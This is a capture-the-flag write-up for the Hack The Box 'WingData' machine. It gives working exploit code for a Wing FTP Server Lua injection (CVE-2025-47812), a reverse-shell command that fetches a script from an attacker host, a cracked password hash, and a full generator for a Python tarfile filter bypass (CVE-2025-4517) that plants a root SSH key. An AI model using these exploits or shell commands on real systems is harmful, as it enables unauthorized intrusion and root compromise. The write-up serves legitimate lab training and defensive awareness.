HTB WingData — Wing FTP RCE to Root via Python tarfile Filter Bypass
An Easy-rated Linux machine featuring Wing FTP Server v7.4.3. The attack chain: exploit a NULL byte Lua injection for unauthenticated RCE (CVE-2025-47812), crack a user’s FTP password hash to pivot, then bypass Python’s tarfile.extractall(filter="data") via PATH_MAX overflow (CVE-2025-4517) to write an SSH key as root.
Enumeration#
Port Scan#
22/tcp — OpenSSH 9.2p1 Debian 2+deb12u7
80/tcp — Apache httpd 2.4.66 (Debian)
Two virtual hosts on port 80: a static marketing site at wingdata.htb and Wing FTP Server v7.4.3 (Free Edition) at ftp.wingdata.htb with anonymous login enabled.
The FTP web client has anti-hammer protection — 10 failed logins triggers a 180-second lockout. Each RCE attempt burns one session, so you get roughly 5–8 shots before waiting.
User Flag#
Step 1 — Unauthenticated RCE via CVE-2025-47812#
Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812 — a NULL byte injection in the username parameter that allows Lua code injection into session files.
- POST to
/loginok.htmlwithusername=anonymous%00]]<lua_code>-- - The server authenticates the part before the NULL byte (“anonymous”) but writes the full string into the session file
- GET
/dir.htmlwith the UID cookie — the server evaluates the session file, executing the injected Lua
import requests, re
target = 'http://ftp.wingdata.htb'
cmd = 'id'
s = requests.Session()
payload = (
'username=anonymous%00]]%0d'
f'local+h+%3d+io.popen("{cmd}")%0d'
'local+r+%3d+h%3aread("*a")%0d'
'h%3aclose()%0dprint(r)%0d--&password='
)
r = s.post(f'{target}/loginok.html',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=payload, timeout=10)
uid = re.search(r'UID=([^;]+)', r.headers['Set-Cookie']).group(1)
r2 = s.get(f'{target}/dir.html',
headers={'Cookie': f'UID={uid}'}, timeout=10)
output = re.split(r'<\?xml', r2.text)[0].strip()
print(output)
# uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),...
For a persistent shell: serve bash -i >& /dev/tcp/LHOST/9002 0>&1 via HTTP and use the Lua injection to curl LHOST:8888/rev.sh|bash.
Step 2 — Hash Cracking & Lateral Movement#
As wingftp, the Wing FTP Server data directory at /opt/wftpserver/Data/1/users/ contains XML configs with SHA256 password hashes (salt: WingFTP, hashcat mode 1410).
hashcat -m 1410 hashes.txt rockyou.txt
# wacky:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
# → !#7Blushing^*Bride5
SSH in as wacky and grab the user flag.
Root Flag#
Enumeration#
wacky@wingdata:~$ sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
The script extracts tars from /opt/backup_clients/backups/ (writable by wacky) using tarfile.extractall(filter="data"). It validates filenames (backup_<digits>.tar) and restore tags (restore_<alphanumeric>).
The target runs Python 3.12.3. The filter="data" parameter (PEP 706) is supposed to block path traversal, symlinks outside the destination, and absolute paths. But there’s a bypass.
CVE-2025-4517: tarfile filter bypass via PATH_MAX overflow#
CVE-2025-4517 exploits a flaw in os.path.realpath(strict=False). When the resolved path exceeds PATH_MAX (4096 bytes on Linux), realpath() silently stops resolving symlinks and falls back to string manipulation — creating a gap between what Python thinks a path resolves to and where it actually goes.
The technique:
Create 16 nested directory/symlink pairs. Each real directory has a ~238-char name. Short single-letter symlinks (
a–p) point to these long directories.Python’s
realpath()follows the short symlinks but expands each to the full 238-char name. By step 16, the accumulated resolved path exceeds 4096 bytes.A 254-char symlink at the end targets
../../ × 16to walk back to the extraction root. Becauserealpath()has exceeded PATH_MAX, it uses string manipulation instead of actual resolution — and approves it as safe.An “escape” symlink chains through the 254-char link with additional
..traversals. The OS resolves it to/, but Python’s brokenrealpath()thinks it stays inside the extraction directory.escape/root/.ssh/authorized_keyswrites our SSH key to/root/.ssh/authorized_keys.
#!/usr/bin/env python3
"""CVE-2025-4517 — tarfile filter="data" bypass"""
import tarfile, io, os
DEST_DIR = "/opt/backup_clients/restored_backups/restore_pwn/"
DEPTH_TO_ROOT = 4 # /opt/backup_clients/restored_backups/restore_pwn
STEPS = "abcdefghijklmnop"
MAX_PATH = 4096
PAYLOAD = open("rootkey.pub", "rb").read()
component_len = (MAX_PATH - len(DEST_DIR)) // (len(STEPS) + 1)
component = 'd' * component_len
with tarfile.open("backup_9999.tar", "w") as tar:
path, step_path = "", ""
for step in STEPS:
dir_path = os.path.join(path, component) if path else component
d = tarfile.TarInfo(dir_path); d.type = tarfile.DIRTYPE; d.mode = 0o755
tar.addfile(d)
sym_path = os.path.join(path, step) if path else step
s = tarfile.TarInfo(sym_path); s.type = tarfile.SYMTYPE; s.linkname = component
tar.addfile(s)
path, step_path = dir_path, (os.path.join(step_path, step) if step_path else step)
long_link = 'l' * 254
escape_sym = os.path.join(step_path, long_link)
es = tarfile.TarInfo(escape_sym); es.type = tarfile.SYMTYPE
es.linkname = os.path.join(*[".."] * len(STEPS))
tar.addfile(es)
esc = tarfile.TarInfo("escape"); esc.type = tarfile.SYMTYPE
esc.linkname = os.path.join(escape_sym, *[".."] * DEPTH_TO_ROOT)
tar.addfile(esc)
for name, mode in [("escape/root/.ssh", 0o700)]:
dd = tarfile.TarInfo(name); dd.type = tarfile.DIRTYPE; dd.mode = mode
tar.addfile(dd)
ak = tarfile.TarInfo("escape/root/.ssh/authorized_keys")
ak.type = tarfile.REGTYPE; ak.size = len(PAYLOAD); ak.mode = 0o600
tar.addfile(ak, io.BytesIO(PAYLOAD))
ssh-keygen -t ed25519 -f rootkey -N ''
python3 exploit.py
scp backup_9999.tar wacky@wingdata.htb:/opt/backup_clients/backups/
ssh wacky@wingdata.htb 'sudo /usr/local/bin/python3 \
/opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar -r restore_pwn'
ssh -i rootkey root@wingdata.htb
Attack Chain#
Wing FTP Server v7.4.3 (anonymous login)
│
▼
CVE-2025-47812: NULL byte Lua injection → RCE as wingftp
│
▼
WingFTP XML configs → SHA256 password hashes
│
▼
hashcat: wacky = !#7Blushing^*Bride5 → SSH as wacky
│
▼
sudo tarfile.extractall(filter="data") + CVE-2025-4517
│
▼
PATH_MAX overflow → write SSH key to /root/.ssh/authorized_keys
Takeaways#
CVE-2025-4517 is a critical real-world vulnerability affecting Python 3.12.0–3.12.10. Any application using
tarfile.extractall(filter="data")on untrusted archives is vulnerable to arbitrary file write. This includes backup/restore tools, CI/CD pipelines, plugin installers — anywhere tars are extracted with the “safe” filter. Upgrade to 3.12.11+.Anti-hammer rate limiting on Wing FTP means you must be surgical — get a reverse shell in one shot rather than running individual commands.
Application config files (Wing FTP’s XML user configs with salted SHA256 hashes) are a reliable lateral movement source. Always check application data directories after getting a service-level foothold.